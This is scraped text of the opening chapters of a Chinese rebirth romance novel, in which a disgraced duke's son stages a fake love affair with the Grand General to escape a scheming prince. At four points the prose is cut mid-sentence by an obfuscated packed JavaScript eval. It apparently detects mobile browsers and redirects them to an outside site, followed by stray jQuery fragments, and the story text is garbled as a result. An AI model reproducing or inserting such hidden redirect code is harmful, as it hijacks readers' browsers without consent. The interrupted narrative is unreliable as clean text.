《娇弱美人自荐枕席后》 1. 第1章 晨曦微露,一夜骤雨终歇。 叶川遥睁开发沉的双眼,缓缓起身。 一双桃花眼扫过屋内,随即陷入一片恍惚之中。 这是,他的卧房…… 可方才他明明被绑去云波画舫。 六皇子季寒欲行不轨,万般绝望之下他纵身一跃,本该葬身湖底,为何…… 窗外传来熟悉的喊声:“世子,该起床了!” “今日不是和五皇子约好去游湖吗?您再不起,小心五皇子来掀被子喽!” 叶川遥屏住呼吸,试着唤了声:“凌舟?” “哎呀少爷,你可算醒了!” 被唤作凌舟的少年推门而入,伸手拿过屏风前挂着的外袍,笑着道:“我帮少爷更衣吧!这几日天暖了,只穿一件外袍便可。” “咱们得快些,可别让五皇子等急了!” “凌舟,你还活着?”叶川遥红着眼盯着凌舟,不敢置信。 为了救他,凌舟明明已重伤而死,怎么会…… “我当然活着啊,少爷你干嘛咒我!” 凌舟莫名其妙,噘着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045066|162682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴嘟囔:“少爷还是快些更衣吧,五皇子这会儿怕是已经到湖上了!” 叶川遥这才留意到凌舟方才的话。 与五皇子游湖? 他在脑中思忖片刻,恍然回神,屏住呼吸问:“凌舟,如今是何年何月?” “景顺十七年四月初八啊!” “少爷你怎么了,睡一觉连这都忘了?” 叶川遥额头轰地一抽。 四月初八…… 卫国公府被抄家查封的日子。 他这是……又回去了? 2. 第2章 红日缓缓升空,廊下春燕啼鸣阵阵,与往常并无二致。 叶川遥于床边呆坐片刻,终于接受自己重生的事实。 不过…… 重生在自己家被抄的日子,老天爷还真是……够体贴呢! 可眼下并非怨天尤人之际。 距离圣旨到来只剩不到半个时辰,还需尽快救人才是。 叶川遥打起精神,伸手接过凌舟手中长袍,快速穿好。 又随手束了束发,还不忘把柜子里的银票通通塞进怀里,这才匆匆向外跑去。 凌舟:“……” 这是藏了多少私房钱? 他不明所以,只能跟在身后喊:“哎少爷,你跑什么啊,你这个样子怎么出门啊?少爷!” “父亲在何处?” “老爷和二爷在前厅说话呢。” 叶川遥朝着前厅飞奔而去。 推开门,快步冲到两人面前,急道:“阿爹,叔父,快跟我走,再晚就来不及了!” 叶青云看向自己青丝如瀑的宝贝儿子,哼了声,轻叱道:“你这孩子,发都没束好,风风火火的成何体统,也不怕被下人看了笑话!” 虽然板着脸,却并无甚威严。 一旁的叶青山笑着道:“阿遥来,出什么事了,坐下慢慢说。” 叶川遥心里快急疯了,却偏偏不知该如何解释,只能囫囵道:“有人要害国公府,请父亲和叔父先找个地方避一避,过段时间再回来!” 叶青云若有所思地与自己弟弟对视一眼,沉声问:“是谁要害国公府?你又是从何得知?” “来不及解释了!” 叶川遥道:“阿爹,你和叔父带些银钱,找一个可靠的地方先住下,后面的事情我来安排。” “不要去咱们自己的庄子,找个偏僻一点的地方,别让人找到你们!” 叶青云的眼底浮上一抹凝重,担忧道:“阿遥,究竟出了什么事?” “你说出来,阿爹想办法。” 叶川遥摇摇头。 他不能说出实情。一来,他无法解释自己重生的事。二来,若父亲得知圣意如此,大抵便不会走了。 卫国公府几代忠良,当年祖父为救先帝身死,父亲也断不会做出抗旨潜逃的事来。 “您解决不了!”叶川遥眼角微红,哽咽道,“阿爹你信我,快走!” 叶青云意识到事情定不简单。 他这个宝贝儿子,平日里虽娇纵了些,却从不会在大事上含糊,更不会诓骗于他。 叶青云皱眉道:“若真出事,阿爹又岂能扔下你一走了之?要走一起走!” 叶川遥摇头:“他们的目标是阿爹你,我留下也不会有事的。” “你们快去收拾一些银钱细软,我让车夫备好马车在偏门等着!” “快去啊!”他伸手焦急地推了推两人。 叶青云和叶青山同时看向他,随即若有所思地点点头,各自快步回房。 两人走后,叶川遥看向身后一脸迷茫的人,吩咐道:“凌舟,安排些人去府门口守着,看见大将军和大理寺的人立刻回报!” 凌舟被紧张的气氛弄得一阵心慌,迷迷糊糊地安排完人手,嗓音颤颤巍巍道:“少爷,到底怎么了,你别吓我啊!” “大将军为什么要带人来咱们府上啊?” 在大盛国,大将军沈翾便如战神一般。 而他手下的壹字军,自然也成了让人闻风丧胆的存在。 不过说起来,沈翾与叶青云也算忘年之交,往日还会偶尔来府上品茗闲聊。 但以往他都是只身前来,从未有侍卫跟着。 听自家少爷这么一说,凌舟顿时吓得魂都快没了。 叶川遥深吸一口气。 其实他也怕。 就算经历过一次,也还是怕的。 他拍拍凌舟的肩,抬头环视一圈熟悉的府邸,自言自语般道:“凌舟,我们的家,就要没了。” “……” 凌舟第一次见自家少爷这副样子。 他五岁进府,虽是侍从,但国公爷心慈,一向善待府里的人,少爷也从不把他当下人。 他就这样无忧无虑地陪着世子一起长大。 在凌舟的印象里,他们家的小世子一直都是恣意潇洒,受尽宠爱的。 他第一次在少爷的眼睛里见到不一样的东西。 明明还是少年模样,眼底却多了一丝不明的痛楚和黯淡。 “少爷……”凌舟鼻头一酸,讷讷地喊了声。 叶川遥苦笑一下,故作轻松道:“放心吧,少爷我不会丢下你不管的。” “就算要死,也会拉着你一起,绝不会留下你一个人哒!” “……” 凌舟呼吸一滞,还在眼里打转的泪花瞬间凝固。 倒也不必这般主仆情深…… 还未来得及忧伤,有护院慌慌张张跑来禀报:“少爷!” “大将军已经带人到了府门口,整个国公府都被大理寺的人围了起来!” “这,这可如何是好啊?” “!” 叶川遥的心猛地一提。 该来的终究还是来了。 凌舟无措地看向面前的人:“少爷,我们现在该怎么办啊?” 怎么说也是重活一世的人,叶川遥的身上多了一丝沉稳,让人觉得莫名的心安。 他抿了抿唇,冷静道:“凌舟,你带人去偏门,不管用什么办法,一定要带父亲他们离开。” “那少爷你呢?”凌舟带着哭腔问。 叶川遥望向国公府大门,桃花眼轻轻眨了眨,道:“我去拖住他们。” “不行啊少爷,万一他们找不到人,把你带走呢?” 凌舟急道:“我不走,我就算死也要跟少爷在一起!” “你连我的话也不听了吗?” 叶川遥面色微凛,双手握住凌舟肩头,指尖不自觉用力道:“放心,他们不会把我怎么样。你快去帮父亲,旁的人我信不过!” 凌舟为难地看着自家少爷,片刻后吸了吸鼻子,应道:“那少爷你自己小心啊!” 叶川遥微微牵了牵嘴角:“知道,快去吧。” 凌舟前脚刚走,后脚大门口就呼啦啦地闯进来一大帮官兵。 “圣旨到!” 为首之人乃大理寺卿郑元。 “把所有人集中到前院,仔细搜查,任何角落都不得放过!” “是!” 大理寺的衙役顷刻间散开,下人们被赶到前院,啜泣声不绝于耳,府里顿时陷入一片混乱。 剩下几名侍卫分列而立,面无表情。 一名男子自他们身后慢步而出。身高八尺,朗目剑眉,一身玄色长袍桀骜尊贵。 如此丰神俊朗的样貌,很难让人与那传闻中凶神恶煞的战神将军联想到一处。 若是平日,见到这般风光霁月之人,叶川遥定要上前寒暄结识一番。 而眼前的人却让他不自觉地晃了晃身子。 大将军沈翾,手握重兵,位列三公之上,大盛国唯一的异姓王,可谓一人之下,万人之上。 上一世,因突逢变故,他对沈翾破口大骂。 骂他道貌岸然,无情无义,不分黑白。 骂往日国公府的好茶都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045067|162682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喂了狗。 还扬言日后定要将他挫骨扬灰,以报今日抄家之仇。 那些衙役搜了多久,他就骂了多久。 可沈翾常年行走刀锋,威胁恐吓于他而言不过尔尔。 叶川遥这点口舌之快,沈翾根本未放在眼里。 那日沈翾将叶青云兄弟带走,甚至都未正眼瞧他。 如今想想,自己果然是天真得可笑。 即便他把沈翾骂成狗,也无力改变任何结果。 叶川遥的思绪在顷刻间转了一百八十个弯。 亏吃过一次就够了,这一次,他不会再同从前一般冲动鲁莽。 只有从长计议,徐徐图之,才有可能改变原本的结局。 叶川遥忍住想要后退的冲动,壮着胆子抬起双臂,当着所有人的面将沈翾拦住。 一把利剑倏地横在颈间。 叶川遥呼吸一滞,却并未躲开。 吓唬谁呢。 沈翾的视线从身前人的脸上淡淡扫过,看不出喜怒。 须臾后,朝身后的人摆了摆手。 剑回鞘,叶川遥不自觉地松了一口气。 这活阎王,可真够吓人的。 郑元看向眼前少年模样的人,俊美的容貌让他微微一愣,随即回神道:“大胆!” “圣旨到,还不快去通传,让叶青云即刻出来接旨!” 叶川遥没看郑元。 他缓缓放下手臂,颔首朝沈翾规规矩矩地见过礼,不卑不亢道:“大将军,家父今日不在府中,不知可否由阿遥代为接旨?” “不在府中?”郑元哼笑一声,阴阳怪气道,“那还真是巧啊,莫不是提前得了风声,畏罪潜逃了吧?” 叶川遥懒得理他。 不逃难道等着被抓? 沈翾轻睨低眉站在自己面前的人。 看着恭敬乖顺,倾城的美貌间却带着克制的怒意和无措。 到底是年少,经不起事。 “原来是世子。” 他将视线在叶川遥脸上停留片刻,嗓音无波道:“你可知这是什么圣旨,就敢替你父亲接下?” 叶川遥抬起头,直视着面前的人:“在下虽愚钝,但今日这阵仗,大概也能猜出几分。” “不过家父不在,理应由在下接旨。” 说完便后退一步,屈膝跪下,一副决然的模样。 沈翾的视线随之下移,顿了顿,没再开口,算是默许。 郑元看一眼沈翾,打开圣旨。 “奉天承运皇帝,诏曰:卫国公府承先帝之恩,享皇室尊贵,理应恪守本责,勤勉尽忠。然今闻卫国公叶青云以权谋私,贪污弘江赈灾官银十万两。故亲命大理寺彻查,暂封卫国公府,以候视之,钦此。” 郑元念完,将圣旨合上,冷声道:“既然国公爷不在,那不如就换世子跟我们走一趟,等国公爷回来,再去大理寺换人吧!” 叶川遥心下一紧。 郑元这是打算拿他做人质,逼父亲现身! 也不知父亲和叔父是否成功脱身。只要能救父亲,就是换他去下狱又如何。 他早已不是那个锦衣玉食的世子,都死过一次,还有什么样的苦吃不得? 只是他曾无意间听父亲提过,这大理寺卿郑元是六皇子季寒的人。 若自己落在他手里,只怕会比前世更惨。 他得先想个法子保全自己。 而想震慑住郑元和他的党羽,他需要一个更大的靠山才行。 叶川遥看向正在院中悠闲踱步的大将军,双眸一亮。 反正都死过了,也不怕再死一次。 豁出去了! 3. 第3章 大理寺的人还在全府搜查。 上一世国公府被查封后,叶川遥带着府上的人去了城郊的庄子暂住。 地方虽简陋,但总算有个庇护之所。 只是少不了前来落井下石、趁人之危之徒。 国公府一时遭难,虽案子尚未查清,但已有人开始惦记起传闻中的第一美人。 满腹才情,比女子还要俊美清秀的小世子,足以让一些纨绔子弟热血沸涌,不惜冒着风险也要争抢。 叶川遥那时疲于寻找线索,还要应付那些人的上门骚扰,实在不厌其烦。 而最让他头疼的是,那些人之中,还有正得圣宠的六皇子,季寒。 想起这个人,他不由自主地浑身发冷。 为避免落入季寒手中,前世他想尽各种办法,未曾想最后还是…… 他绝不能再任人欺凌,也绝不能就这样被大理寺带走,成为他们威胁父亲的质子。 叶川遥迅速思考,脑子转得飞快,眼底浮现一抹视死如归的厉光。 大将军,对不住了,您忍忍吧。 他看向沈翾,气沉丹田向前两步,干脆利落地扑通一声跪下,双臂环住面前人的腿,用力攥紧,似生怕对方逃跑一般。 一滴清泪自眼睑缓缓滴落,嗓音悲泣婉转:“翾哥哥……” 美人落泪,如此场景,任谁见了也不免为之动容。 在场众人齐刷刷地看向院子中央容貌俊逸的两人,丫鬟们甚至再也顾不上啜泣,整个院子顷刻间安静下来。 叶川遥伏在沈翾脚边,声泪俱下,哭得那叫一个肝肠寸断,好不悲恸。 “翾哥哥,你怎能如此对我?” “不是说好下个月阿遥及冠,你就来府上提亲的吗?” 周围目光齐聚。 叶川遥抬起泪花凌乱的双眸,缓缓望向头顶之人。 眨眨眼继续道:“翾哥哥难道是想把阿遥关进大牢,不要阿遥了吗?” 轻颤却掷地有声的质问让在场之人都瞪大了眼。 现下这是什么情况? 他们世子什么时候跟大将军暗度陈仓了! 可既有这层关系,大将军怎的还亲自带人来抄家呢? 同样困惑的还有沈大将军。 看着那睫毛轻颤下清澈剔透的泪珠,他甚至隐隐开始怀疑,自己是否曾丢失过什么记忆。 许久后,叶川遥听见头顶传来低沉的嗓音: “世子,若沈某没记错……” “我与世子,此前应当不曾见过。” “……” 叶川遥泪花微滞,随即重重掐了掐掌心,脸上布满不可思议的悲痛,眼泪如汩汩泉水,越涌越多。 “翾哥哥这是……要跟阿遥撇清关系吗?” 沈翾未开口,眼底幽深凛凛,晦暗不明。 叶川遥的手臂又收了几分力,垂眸哽咽道:“我知道,是我配不上翾哥哥。” “如今父亲被弹劾,若真被定罪,阿遥便是罪臣之子,更没有资格留在大将军身边。” “阿遥不想牵连翾哥哥。可, 可阿遥真的放不下啊呜呜呜……” 在场之人听了这话,都不由地跟着心尖一颤。 这委屈又真挚的语气,真是让人闻者落泪啊! 可怜见的。 明烛偷瞄自家将军一眼,面上毫无波澜,内心却已掀起惊涛骇浪。 虽然他觉得,他们家将军冷心冷面,绝不可能与人私定终身。 但……万一呢? 这可是京城第一美人啊! 多少人费尽心思,豪掷千金,只为博美人一笑。 他们将军再神,毕竟也还是个人嘛! 而且放眼整个京城,能配得上世子这副倾城之姿的,也只有他们将军了。 世子跟着大将军,总好过被旁的贼人祸害。 只是将军如今这副态度是怎么回事? 人家都叫哥哥了,难不成还要撇清关系? 沈翾并不知道自己的形象已经开始悄然崩塌。 他看着那双盛满清泪的黑眸,缓缓弯下腰,单手将人虚扶着,淡淡道:“世子先起身吧。” 叶川遥见好就收,再闹怕是要适得其反。 他将掌心搭在沈翾坚实的手臂上,借着力缓缓起身,一副破碎不能自理的模样。 许是方才跪下的时候太过用力,未等起身,叶川遥膝下一酸,径直朝着前方栽去。 不偏不倚,正好跌进大将军胸前。 额头撞在坚硬的胸膛上,鼻尖传来淡淡幽香。 别说,还怪好闻的。 沈翾的手还扶在叶川遥腋下,下颌刚好高过身前人的头顶。 从旁看,便像是将人搂在怀里一般。 院子里响起一阵低呼声。 虽说大盛民风开化,但光天化日之下如此亲密,还是难免遭人非议。 既已有了肌肤之亲,还死不承认。 没想到战功赫赫的大将军,居然也是如此薄情寡义、贪生怕死之辈! 叶川遥一时也有些僵住。 他发誓,这真不是他故意的! 不过如此也好,这么多人亲眼所见,沈翾这次估计有嘴也说不清了。 倒是于他有利。 于是身子一软,又贴近几分。 沈翾:“……” 柔软发丝从下颌轻轻滑过,沈翾眉头微蹙,双手将人扶起站好。 又不着痕迹般地后退一步,嗓音清冷道:“世子可还好?” 肩头温热的力道还在,叶川遥点点头,吸了吸鼻子应道:“没,没事。” 虽有意接近,但他从未与人如此亲近,此时全身如炭烤火炽一般,耳尖不受控制地泛起红晕。 刚赶来的叶青云瞠目结舌地愣在原地。 他原本已经出了偏门,但听下人来报,说大理寺要将自己儿子带走,便又火速赶回前院。 只让车夫把叶青山先送走。 没想到刚赶来,便目睹了一切,一时心里五味杂陈。 他这个宝贝儿子,因着相貌太过俊美,惦记的人太多,平日里可没少让他操心。 本以为已经护得够仔细,却没曾想,竟然…… 竟然让这两人暗度陈仓! 不过…… 虽然现下时机不对,可还是有点高兴是怎么回事? 若能得大将军庇护,阿遥以后也算有了靠山,想必不会有人敢欺辱于他。 “呦,国公爷回来了。那正好,就请国公跟我们走一趟吧。” 郑元摆摆手,四名衙役当即上前将人围住。 叶青云不慌不忙,视若无睹,对着沈翾弯腰拱手道:“见过大将军。” “国公不必多礼。”沈翾道。 叶青云直起身,这才看向郑元:“郑大人,叶某这便跟大人回大理寺。还请大人不要牵连我府上其他人。” 郑元哼笑一声:“那就要看国公爷了,请吧!” “父亲!”叶川遥紧紧拽住父亲手臂,眼角泛红。 叶青云轻轻拍拍他的手,笑着道:“爹爹没事,阿遥别怕,照顾好自己和妹妹。” 说完又看向沈翾,欲言又止。 叶川遥并未看出父亲眼中深意,只觉鼻头一酸,泪意再次模糊双眼。 虽尚未步入官场,但他也清楚大理寺是个什么地方。 不管是谁,进了那里都得扒一层皮出来。 父亲已年迈,又并非习武之人,如何能受得了大理寺的酷刑! “阿爹保重,我一定会救你出来!”叶川遥红着眼道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045068|162682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶青云却只摇头:“别做傻事,护好自己!” 郑元可没有耐心看他们父子情深:“带回大理寺!” “国公府其余人等,即刻撤离,任何人不得擅自回府!” 衙役们得了命令便开始驱赶众人。很快,府内便人去楼空。 只剩下叶川遥独自一人,孤零零地站在院子中央,白衣下单薄的脊背透着股倔强。 沈翾淡淡瞥向那道纤细身影,缓缓移步过去。 “世子,贪墨案尚未定论,还应保重自身才好。” 叶川遥抿唇看向面前之人,眼尾殷红。 好一个大将军。 亏父亲将他视为至交好友,上一世危难之际他却袖手旁观,见死不救。 就算皇命难违,可只要他沈大将军肯出手,总还能有几分希望。 叶川遥按下心中忿恨,睫毛轻眨,黯声道:“父亲受尽苦楚,我又怎能独善其身?” “不管什么法子,总要试一试的。” 沈翾默了默,意味深长道:“意气用事只会适得其反,世子好自为之。” 叶川遥望向那道俊逸背影。 好自为之? 他自然会。 老天既给了他重来一次的机会,他不仅要救出父亲,那些害他和卫国公府的人,他也一个都不会放过! 就算这一世依旧逃脱不了惨死的结局,他也一定要拉着这群恶人,一起下地狱! 郑元上前冷声催促:“世子请吧!” 门上封条冰冷萧瑟。 叶川遥最后一次回望这座府邸。 今日一别,也许他便再也回不去这个家了。 堂妹叶雨柔和几个侍女抱在一起,等大理寺的人都走了,才挪到叶川遥身边,红着眼问:“哥,我们现在该怎么办啊?” 叶川遥看着才十四岁的堂妹,柔声道:“别怕,有哥哥在。我们先去城郊的庄子安顿下来,再从长计议。” 到了庄子,他把所有人集中到院中。 “如今国公府被封,危机四伏,前途不明。诸位若想离开,今日便都散了吧。” “来日国公府若能沉冤昭雪,诸位那时再想回来,国公府定随时欢迎。” 他差管家将方才路上换好的现银分给大家,每人三十两,也算是全了这一段主仆情分。 下人们面面相觑,一时无人应声。 管家陈安叹口气道:“想走的都走吧,找个能安身的地方,好好过日子。都去吧!” 车夫最先站出来,朝叶川遥磕了几个头,含泪离去。 紧跟着便陆陆续续有人离开,到最后,只剩下十几个人。 倒是和前世一般无二。 前世就是这十几个人,跟着他一起谋划救人,毫无怨言。 可最后却…… 鼻尖不由酸涩,“你们确定要留下来?不怕被牵连吗?” “不怕!”一人高声道:“我们深受国公恩惠,如今国公有难,又岂能一走了之,留世子独自面对!” 压下心中感慨,叶川遥点点头道:“好,那便多谢诸位。” 陈安将下人们安排好,上前问:“世子,咱们接下来该做些什么?” 天色已黑,晚风渐起。 想不到不过短短一日,却已相隔两生。 当真是造化弄人。 叶川遥朝窗外轻睨一眼,嗓音如常道:“陈叔,你明日去田里,陪佃户们聊天解闷。” “啊?” 管家险些以为自己听错:“这……” “世子想让老奴聊些什么?” 叶川遥微微一笑,漆黑眼底划过熠熠银光。 “聊一聊……” “卫国公世子,与大将军之间的……” “风流韵事。” 4. 第4章 于寻常百姓而言,吃饱穿暖,再有一处遮风避雨之所,这样的日子已是极好。 倘若每日干完农活,还能跟邻里好友说说笑笑,更是欢喜。 “哎,你们听说了吗,咱们东家那位世子,已经跟大将军私定终身,差一点就要成亲呢!” “大将军?羿王沈翾?” “可不是嘛!听说国公府被查封那日,咱们这位小世子抱着大将军不肯撒手呢,说不想跟大将军分开!” “哎呦呦,哭得那叫一个可怜,真是用情至深啊!” “何止是世子!” “听说大将军也是情难自制,当着大理寺卿和那么多下属的面,就把人紧紧搂在怀里,难舍难分!” “想不到杀人无数的战神将军,竟也有如此柔情。” “我先前有幸见过世子一次。啧啧啧,那容貌,不知比女子还要美上多少,也难怪大将军会动心!” “唉,只可惜国公爷如今前途未卜,这两人的婚事怕是……” “那有什么关系?” “老国公爷当年救下先帝之时,先帝曾留下口谕,除了谋反,不管卫国公犯下什么罪责,都要留他性命,且不得牵连其子嗣。” “就算如今身份不配,以大将军的身份地位,把人接到府里好好养着便是了,谁敢说什么?” “正妻虽做不成,做个偏房总行的吧!” “算了吧,世子可是被捧着长大的,京中多少权贵家的少爷小姐前去求亲皆被回绝,又怎么会甘愿做个偏房?” “现下境况不同了嘛,国公府如今这样,谁还敢攀关系,不都躲得远远的?” “再说了,谁敢跟大将军抢人?美人再好,也得留着命不是!” 凌舟一口气说完,急匆匆地往口中猛灌几口茶。 “少爷,这外面怎么都在传你和大将军的事啊?这么离谱的编排竟有人信!” 他傍晚时赶回来,刚见到自家少爷,便先把这两日听到的流言如实禀报了一遍。 叶川遥默默听完,略有些不自在地清了清嗓子,问:“叔父那边都安顿好了吗?” 凌舟点头:“少爷放心,都安顿好了。二爷正在联络叶府旧交,让他们帮忙一起查。” 叶川遥嗯了声,提笔在书案上快速写好一封信,递给凌舟:“明日你想办法,将这封信送到五皇子手上。” “好的少爷。对了,说起五皇子,我今日碰见他了。” 凌舟说着从怀里掏出厚厚一沓银票:“五殿下让我把这些交给少爷,还说让你保重身体,切莫过度忧思。” 叶川遥接过银票,心里一热。 这个季岩,不枉朋友一场。 两人正说着,管家陈安慌慌张张进来。 “少爷,六皇子来了,现下就在外面!” 叶川遥心里一咯噔。 他立即将书案上的东西收好,关上房门,这才出了房间。 六皇子季寒正懒散地坐在蒲席上,手里把玩一盏茶杯。 通身雍容华贵,明明与这僻陋之所格格不入,可看上去又颇有几分怡然自得。 见人来了,季寒勾起一抹纯真灿笑,语气欢快道:“阿遥,这几日过得可还好?” 叶川遥朝人见了礼,不疾不徐道:“托六殿下的福,还好。” “你们都下去。”季寒冷声吩咐,与方才的天真热情判若两人。 凌舟看向自家少爷,见叶川遥朝他点点头,这才不情不愿地离开。 屋内只剩下二人。 想起上一世,叶川遥的身上不由得一阵恶寒。 可对方毕竟身份尊贵,他得罪不起,只得恭敬道:“不知殿下今日前来,有何贵干?” 季寒翩然起身,行至叶川遥面前,笑容明媚道:“当然是来看你的。” “听说你来了庄子上,本王实在放心不下。” 他环顾一圈,眼里的嫌弃不加掩饰:“这样简陋粗鄙的地方,怎么配得上我的阿遥?” 叶川遥忍下不适,垂眸颔首道:“殿下说笑了,草民卑贱之身,陛下能留草民一处安身之所,草民已是感恩戴德。” 季寒眼里带笑,视线在他脸上停留片刻,似要将每个表情都收进眼底。 看着面前疲惫明显却依然美到极致的容颜,季寒语气越发柔和。 “阿遥,不如本王带你回府,可好?” “本王保证,在本王府上,你的尊贵只会比从前更甚,绝不会受一丝委屈。” 叶川遥面色如常地笑了笑:“殿下把草民带回去,打算如何安置?” 季寒微微怔住,思忖片刻后道:“本王婚事需由父皇做主。除了王妃之位,其他的本王都可以给你!” 给你个祖宗,快滚吧! 叶川遥在心里将人狠狠咒骂一通,面上却不动声色。 上一世他便怀疑,国公府的事与季寒和他的生母郑贵妃有关,可恨一直找不到证据。 倒不如趁此机会试探一二。 于是言语故作恳切道:“殿下,如今家父身陷牢狱,草民实在无心其他。家父若有个三长两短,阿遥也不愿独留在这世上。” “还望殿下能在陛下面前替家父陈情一二,让大理寺莫要刑讯逼供。” “家父年迈,实在受不得酷刑。” 叶川遥当然知道,对方根本不可能替父亲求情。国公府的事,说不定就是季寒和他母妃一手策划。 他这么说,也只是想看看对方的反应。 季寒闻言痛快地答应下来,言辞诚恳。 “阿遥放心,本王定会禀明父皇,让父皇还卫国公清白。” “只是在这之前,阿遥需先保重自己才是。这里穷山恶水,病了可怎么好?” “跟本王回府,本王定会好好照顾你!” 呵呵。 季寒此人向来阴晴不定,喜怒无常。叶川遥再傻也不可能信了他的鬼话。 他没有任何犹豫,立即道:“多谢殿下美意,但草民不想连累殿下。” “天色已晚,还请殿下早些回府。若着了风寒,草民实在担待不起。” 见他态度坚决,季寒虽心有不甘,也只能作罢。 这里人多眼杂,叶青云又尚未被定罪,他还不能把人强行带走。 “好吧,那本王改日再来看你。” 季寒笑着朝门口迈了几步,又回头问:“阿遥,你当真不跟本王回去?” 叶川遥耐心耗尽,实在不愿再与其虚与委蛇,干脆直接道:“谢殿下抬爱。但草民与大将军的事,想必殿下也有所耳闻。” “草民这辈子,心之所属,唯大将军一人。” 掷地有声的言语里透着笃定,没有半分迟疑。 季寒眼中闪过一抹阴翳寒光,先前的笑容尽数收敛。 他看向叶川遥,不疾不徐道:“本王原以为,那些谣言尽是无稽之谈。” “原来世子对大将军,竟是真的有情?” 季寒眼中杀意昭然,叶川遥不自觉地打了个冷颤。 但事已至此,现下只有坐实自己与沈翾的关系,才能让季寒有所忌惮,也让他得以有喘息的机会。 叶川遥抿了抿唇,振振有词道:“不敢欺瞒殿下。草民与大将军早已私定终身,若非家父身陷牢狱,下个月我们便该成亲了。” “成亲?” 季寒似是听了个天大的笑话:“你觉得,他沈翾会娶一个男妻?” 叶川遥坦然地点点头,面不改色道:“翾哥哥说过,此生非阿遥不娶。” “阿遥亦如是。” “翾哥哥”几个字深深刺痛了季寒。 “非你不娶… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045069|162682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 他把叶川遥的话重复了一遍,嗤笑道:“别做梦了,阿遥。” “沈翾他连公主都不肯娶,会娶你一个罪臣之子?” 叶川遥怔住,他竟不知还有这回事。 大将军与公主…… 郎才女貌,门第相匹,的确是天造人设的一对。 可那又怎样? 明知不该逞口舌之快,他却还是道:“大概是因为,我长得更美吧。” 季寒的胸口像被重击了下。 如此意气风发的语气,让他心底压抑许久的困兽迫不及待地想要挣脱束缚,狂奔而出。 这样的美貌,的确可以称得上世无其二。 而这样的美人,合该是他的。 沈翾…… 季寒在心里默念两遍沈翾的名字,目光似要杀人一般。 须臾后沉声道:“阿遥,今时不同往日,本王的话你好好思量。” “你该知晓,往后的日子,只有本王才能护得住你。” 叶川遥不予置评,只弯腰抬手:“恭送殿下!” 季寒深深地看他一眼,这才带着随从离开。 终于将人打发走,叶川遥狠狠松了一口气,赶紧坐下来喝茶压惊。 他其实远没有看上去那般从容不迫,不过是强装镇定罢了。 没多久,凌舟和管家陈安推门进来。 “少爷,你没事吧?” 叶川遥摇摇头,面露疲色:“没事。” 管家年纪大,见多了波诡云谲,自然知道六皇子那样尊贵的身份,绝不可能无缘无故出现在这贫瘠之地。 而对如今的他们来说,这样的“天恩”则意味着危险。 陈安暗自思虑片刻,面色凝重地问:“少爷,六皇子他,为何来见你?” 叶川遥看向老管家,如实道:“他让我跟他回府,做他的男宠。” “什么!”凌舟险些跳起来,眼睛瞪得溜圆。 “他有病吧?” “这,这……” “甚是荒唐,甚是荒唐!”管家气地在屋子里转来转去,不知该如何发泄心中愤恨。 反观自家少爷一脸平静,仿佛早已司空见惯。 陈安一时心疼不已。 大盛皇帝重文轻武。 虽边境时有战乱,但京中太平,世家公子们无事消遣,便以谈诗论画,品茗赏景来附庸风雅。 而才子佳人也成了避不开的话题。 十七岁那年,叶川遥被冠上“京城第一美人”的名头。从那时起,前来示爱的人便从未断过。 国公原本打算早早替他寻一门亲事,娶一位性格相合的夫人,来断了这些纨绔子弟的心思。 但叶川遥百般推拒,不愿议亲,说要等及冠以后再考虑。 国公爷疼儿子,不忍勉强,这事便被耽搁下来。 而如今,卫国公府虽前途不明,但他们百般疼爱着长大的小世子,岂能沦为他人玩物! 见陈安义愤填膺,一副要冲出去砍人的模样,叶川遥笑着道:“好了陈叔,何必与无关之人置气,伤了身体多不值当。” 陈安听了这话终于慢慢冷静下来,却还有几分担忧。 “六皇子既然动了这心思,怕是不会善罢甘休。” “少爷打算如何应对?” 叶川遥轻轻抿了口茶,云淡风轻道:“想要不被风雨践踏,自然要寻棵大树庇护才行。” “少爷的意思是?” 叶川遥抬起头,眼里闪过熟悉微光,一字一句道:“明日,我要去一趟大将军府。” “去大将军府做什么?”凌舟和陈安齐声问。 